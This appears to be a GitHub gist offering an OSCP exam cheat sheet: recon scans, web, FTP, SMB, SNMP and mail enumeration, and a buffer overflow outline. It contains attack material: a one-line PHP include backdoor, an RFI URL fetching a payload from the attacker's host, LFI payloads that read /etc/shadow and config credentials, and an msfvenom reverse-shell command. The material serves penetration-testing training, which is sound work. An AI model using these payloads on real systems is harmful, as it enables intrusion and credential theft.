avicoder / how-to-oscp-final.md
forked from unfo/how-to-oscp-final.md

Created a year ago

how-to-oscp-final.md

How to pass the OSCP

1. Recon
2. Find vuln
3. Exploit
4. Document it

Recon

Unicornscans in cli, nmap in msfconsole to help store loot in database.

TCP

```
unicornscan -i tap0 -I -mT $IP:a
db_nmap -e tap0 -n -v -Pn -sV -sC --version-light -A -p
```

UDP

```
unicornscan -i tap0 -I -mU $IP:a
db_nmap -e tap0 -n -v -Pn -sV -sC --version-light -A -sU -p
```

Enumerating

This is the essential part of penetration. Find out what is available and how you could punch through it with minimum ease.

DO NOT SKIP STEPS.

DO NOT PASS GO.

SEARCH ***ALL*** THE VERSIONS WITH `searchsploit` (or google -> `site:exploit-db.com APP VERSION`)

HTTP - 80, 8080, 8000

```
curl -i ${IP}/robots.txt
```

Note down Server and other module versions.

searchsploit them ALL.

Visit all URLs from robots.txt.

```
nikto -host $IP


gobuster -u http://$IP -w /usr/share/seclists/Discovery/Web_Content/Top1000-RobotsDisallowed.txt

gobuster -u http://$IP -w /usr/share/seclists/Discovery/Web_Content/common.txt
```

if nothing, find more web word lists.

Browse the site but keep an eye on the burp window / source code / cookies etc.

Things to be on look for:

- Default credentials for software
- SQL-injectable GET/POST params
- LFI/RFI through ?page=foo type params
- LFI:
  - `/etc/passwd` | `/etc/shadow` insta-win
  - `/var/www/html/config.php` or similar paths to get SQL etc creds
  - `?page=php://filter/convert.base64-encode/resource=../config.php`
  - `../../../../../boot.ini` to find out windows version
- RFI:
  - Have your PHP/cgi downloader ready
  - `<?php include $_GET['inc']; ?>` simplest backdoor to keep it dynamic without anything messing your output
  - Then you can just `http://$IP/inc.php?inc=http://$YOURIP/bg.php` and have full control with minimal footprint on target machine
  - get `phpinfo()`

HTTPS - 443

Heartbleed / CRIME / Other similar attacks

Read the actual SSL CERT to:

- find out potential correct vhost to GET
- is the clock skewed
- any names that could be usernames for bruteforce/guessing.

FTP - 21

- Anonymous login
- Enumerate the hell out of the machine!
  - OS version
  - Other software you can find on the machine (Prog Files, yum.log, /bin)
  - password files
  - DLLs for `msfpescan` / BOF targets
- Do you have UPLOAD potential?
  - Can you trigger execution of uploads?
  - Swap binaries?
- Vulnerabilities in version / RCE / #WINNING?-D

SMB - 139, 445

```
enum4linux -a $IP
```

Read through the report and search for versions of things => `searchsploit`

```
smbclient -L $IP
```

Mount shares

```
mount -t cifs -o user=USERNAME,sec=ntlm,dir_mode=0077 "//10.10.10.10/My Share" /mnt/cifs
```

Can you access shares?

- Directly exploitable MSxx-xxx versions?
  - Worth burning MSF strike?

SNMP - UDP 161

- Try to enumerate windows shares / network info

Quick test of communities:

```
onesixtyone
```

Full discovery of everything you can:

```
snmp-check
```

TFTP - UDP 69

- Read / Write access?
  - Pretty much same things as FTP

SSH - 22

Unless you get a MOTD or a broken sshd version, you are SOOL and this is likely just a secondary access point once you break something else.

Email - 25, 110/995 or 143/993

SMTP, POP3(s) and IMAP(s) are good for enumerating users.

Also: ***CHECK VERSIONS*** and `searchsploit`

Buffer Overflow

1. Determine length of overflow trigger w/ binary search "A"x1000
2. Determine exact EIP with `pattern_create.rb` & `pattern_offset.rb`
3. Determine badchars to make sure all of your payload is getting through
4. Develop exploit

- Is the payload right at ESP
  - `JMP ESP`
- Is the payload before ESP
  - `sub ESP, 200` and then `JMP ESP`
  - or
  - `call [ESP-200]`

5. `msfvenom -a x86 --platform windows/linux -p something/shell/reverse_tcp lhost=x.x.x.x lport=53 -f exe/elf/python/perl/php -o filename`

- Make sure it fits your payload length above

6. Gain shell, local priv esc or rooted already?

Misc tools

- `cewl` for crawling a site for bruteforcing user/password
- don't forget about `nmap` scripts!
  - e.g. `--script smtp-commands` or `--script auth-owners`